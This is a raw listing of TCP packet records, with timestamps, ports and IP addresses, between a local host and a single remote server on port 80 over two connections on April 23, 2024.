Apr 23, 2024 08:39:58.868958950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868982077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868990898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869009972 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869025946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869039059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869044065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869050980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869057894 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869132996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869152069 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869158030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869169950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869179964 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869213104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869225979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869225979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869266033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869277954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869285107 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869288921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869297981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869299889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869319916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869319916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869353056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869364977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869371891 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869388103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869410992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869410992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869431019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869434118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869457006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869478941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869491100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869498968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869514942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869518042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869530916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869538069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869553089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869582891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869595051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869601965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869633913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869633913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869640112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869652987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869683981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869697094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869704962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869739056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869739056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869781017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869792938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869806051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869822025 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869838953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869849920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869858027 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869873047 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869894028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869905949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869915009 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869935989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869955063 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.869982958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.869992018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870017052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870105982 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870129108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870141983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870161057 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870177031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870177031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870302916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870316029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870322943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870327950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870340109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870345116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870351076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870362997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870374918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870385885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870387077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870387077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870397091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870409012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870419025 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870420933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870433092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870439053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870444059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870454073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870455980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870474100 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870507956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870520115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870526075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870539904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870541096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870563030 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870584011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870598078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870604038 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870635986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870635986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870659113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870671034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870682955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870707035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870707989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870738983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870744944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870771885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870784998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870793104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870825052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870831013 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870858908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870872021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870888948 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870908022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870919943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870927095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870956898 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870956898 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.870973110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.870986938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871026039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871038914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871046066 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871049881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871068954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871079922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871092081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871098995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871114969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871134043 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871134996 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871170998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871176958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871184111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871222973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871222973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871222973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871236086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871248007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871268034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871269941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871289968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871292114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871304035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871313095 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871335983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871352911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871371031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871383905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871392012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871401072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871414900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871434927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871455908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871468067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871476889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871479034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871498108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871519089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871531010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871539116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871560097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871577978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871577978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871598959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871619940 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871653080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871665001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871670961 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871675968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871695042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871695042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871726990 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871740103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871747017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871779919 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871779919 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.871855021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871936083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871948004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871961117 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.871968985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872000933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872013092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872015953 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872025013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872070074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872071981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872092962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872108936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872128963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872132063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872162104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872194052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872212887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872232914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872253895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872256994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872272968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872289896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872309923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872339964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872360945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872383118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872395039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872406960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872406960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872422934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872437954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872456074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872477055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872493029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872507095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872525930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872579098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872591972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872598886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872627020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872628927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872669935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872806072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872817993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872828007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872828960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872839928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872845888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872850895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872862101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872872114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872873068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872885942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872891903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872896910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872909069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872915983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872920036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872926950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872931957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872942924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872950077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872966051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.872983932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.872983932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873019934 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873037100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873050928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873084068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873102903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873119116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873137951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873150110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873171091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873224020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873235941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873243093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873246908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873266935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873311996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873326063 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873347044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873366117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873421907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873435020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873441935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873445034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873456955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873464108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873466969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873475075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873478889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873491049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873497009 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873522043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873522043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873539925 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873553991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873565912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873573065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873584986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873586893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873608112 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873627901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873634100 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873648882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873677015 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873697996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873717070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873735905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873748064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873754025 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873759031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873776913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873809099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873821020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873826981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873831987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873843908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873853922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873866081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873886108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873886108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873888016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873913050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873928070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873929977 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.873945951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.873967886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874003887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874011040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874022007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874041080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874043941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874056101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874059916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874074936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874077082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874097109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874159098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874162912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874176025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874187946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874198914 CEST	80	49705	138.199.40.58	192.168.2.7
